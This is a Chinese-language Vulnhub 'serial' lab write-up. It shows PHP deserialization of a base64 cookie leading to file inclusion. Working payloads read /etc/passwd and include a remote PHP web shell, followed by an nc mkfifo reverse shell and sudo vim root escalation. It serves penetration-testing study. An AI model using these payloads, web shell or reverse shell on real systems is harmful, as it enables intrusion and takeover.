[Vulnhub] serial-php反序列化漏洞

0x00 环境搭建

漏洞环境:https://www.vulnhub.com/entry/serial-1,349/
下载后使用Vmware打开

  1. 创建新的虚拟机:
    [Vulnhub] serial-php反序列化漏洞_第1张图片

  2. 选择客户机版本为Ubuntu 64位:
    [Vulnhub] serial-php反序列化漏洞_第2张图片

  3. 一直下一步,知道选择使用现有磁盘:
    [Vulnhub] serial-php反序列化漏洞_第3张图片

  4. 选择下载的vmdk磁盘文件:
    [Vulnhub] serial-php反序列化漏洞_第4张图片

  5. 开机,环境配置完成:
    [Vulnhub] serial-php反序列化漏洞_第5张图片


0x01 漏洞复现

探测主机存活及端口

用nmap探测主机存活,探测到存活主机192.168.1.111,开放了22端口和80端口:

nmap -PS -T4 192.168.1.0/24

[Vulnhub] serial-php反序列化漏洞_第6张图片
不过推荐使用arp-scan命令来探测内网,速度更快:

arp-scan -l

[Vulnhub] serial-php反序列化漏洞_第7张图片
然后针对这个存活主机进行端口扫描:

nmap -sv -p- 192.168.1.111

访问web服务

[Vulnhub] serial-php反序列化漏洞_第8张图片
发现cookie是经过base64加密过的:
[Vulnhub] serial-php反序列化漏洞_第9张图片
解密后发现是经过序列化的

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
O: 代表存储的是对象(object),如果传入的是一个数字,那它就会变成a;
4: 表示对象的名称有4个字符,User表示对象名称刚好4个字符;
2: 表示有两个值
s: 表示字符串,数字表示字符串长度

补充一下php反序列化相关内容:

  1. serialize() 序列化时讲变量转换为字符串并在转换中可以保存当前变量的值;
  2. unserialize() 反序列化就是将序列化生成的字符串转换为变量;
  3. php进行序列化的目的就是保存一个对象方便之后的重用;
  4. 本质上 serialize() 和 unserialize() 在php内部实现时没有漏洞的,漏洞的主要产生原因时由于应用程序在处理对象、魔术方法以及序列化相关问题的时候导致的;当传给 unserialize() 的参数可控时,用户就可以构造payload出发魔术方法造成意想不到的危害。

常见魔术方法:

  1. __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
  2. __destruct():当对象被销毁时会自动调用。(析构函数)
  3. __wakeup():如前所提,unserialize()时会自动调用。
  4. __toString():方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。
  5. __get():当从不可访问的属性中读取数据时自动调用。
  6. __call():在对象上下文中调用不可访问的方法时触发。
  7. __sleep():使用serialize时触发。

目录扫描

使用dirsearch扫描发现存在backup路径:
[Vulnhub] serial-php反序列化漏洞_第10张图片
访问发现存在目录遍历漏洞:
[Vulnhub] serial-php反序列化漏洞_第11张图片
下载bak.zip,发现有三个源代码。

代码审计

index.php:


	include("user.class.php");

	if(!isset($_COOKIE['user'])) {
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		unserialize(base64_decode($_COOKIE['user']));
	}
	echo "This is a beta test for new cookie handler\n";
?>

index.php文件中包含了user.class.php文件,并对cookie中的user参数进行了判断,若user参数不存在则添加并进行了base64编码再进行序列化;若user参数存在则进行base64解码再进行反序列化。说明这里可以修改user参数构造payload。接下来看user.class.php文件。
user.class.php:


  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

user.class.php文件包含了log.class.php,并定义了两个类,分别是Welcome和User,User这个类中有$this->wel = new Welcome();,再看Welcome类中发现调用了handler()函数,接下来看log.class.php文件。
log.class.php:


  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

log.class.php文件定义了type_log成员变量,而且handler()函数对变量进行了文件包含和输出。
这里存在文件包含漏洞,可以构造payload加以利用输出一些我们想要的信息。

漏洞利用

尝试构造payload读取 /etc/passwd 文件:

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}

再进行base64加密:
[Vulnhub] serial-php反序列化漏洞_第12张图片
但是发现不能成功执行:
[Vulnhub] serial-php反序列化漏洞_第13张图片
对比之后发现空格在解码后有所不同:
[Vulnhub] serial-php反序列化漏洞_第14张图片
[Vulnhub] serial-php反序列化漏洞_第15张图片
查阅资料后得知是因为传输过程是以字节的形式而导致base64加密后的空格有所不同,下面用python来进行加密,用到base64.b64encode函数,注意需要将空格改为\x00:
[Vulnhub] serial-php反序列化漏洞_第16张图片
最后得到的payload为:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

重放包,成功包含 /etc/passwd 文件:
[Vulnhub] serial-php反序列化漏洞_第17张图片
可以看到可登录系统用户除了root还有sk4:
[Vulnhub] serial-php反序列化漏洞_第18张图片

0x02 getshell

此处利用远程文件包含漏洞,包含的文件为我在远程服务器上放的一个txt文件,内容为:


system($_GET['cmd']);
?>

构造payload:

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:30:"http://192.168.1.113/shell.txt";}}
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjMwOiJodHRwOi8vMTkyLjE2OC4xLjExMy9zaGVsbC50eHQiO319

重放包后命令执行成功:
[Vulnhub] serial-php反序列化漏洞_第19张图片

0x03 反弹shell

本地监听端口:
在这里插入图片描述
使用命令让目标连接本地端口:

编码前:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.112 4444 >/tmp/f
编码后:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.112+4444+>/tmp/f

[Vulnhub] serial-php反序列化漏洞_第20张图片
这里没有回应,但是已经反弹shell成功:
[Vulnhub] serial-php反序列化漏洞_第21张图片

0x04 提升权限

访问根目录发现存在敏感文件credentials.txt.bak:
[Vulnhub] serial-php反序列化漏洞_第22张图片
查看发现时用户名和密码:
在这里插入图片描述
由于开启了22端口,使用SSH登录:
[Vulnhub] serial-php反序列化漏洞_第23张图片
查看内核版本,但是没找到什么可提权的漏洞:
在这里插入图片描述
尝试找一下当前用户可执行与无法执行的命令:
[Vulnhub] serial-php反序列化漏洞_第24张图片
发现vim编辑器对所用用户NOPASSWD,尝试提权,输入sudo vim进入命令模式输入!bash:
[Vulnhub] serial-php反序列化漏洞_第25张图片
提权成功:
在这里插入图片描述


参考链接:
https://blog.csdn.net/qq_41954384/article/details/103831182(vulhub-serial-php反序列化靶机实战)

你可能感兴趣的:(靶场笔记,php,渗透测试,shell,linux)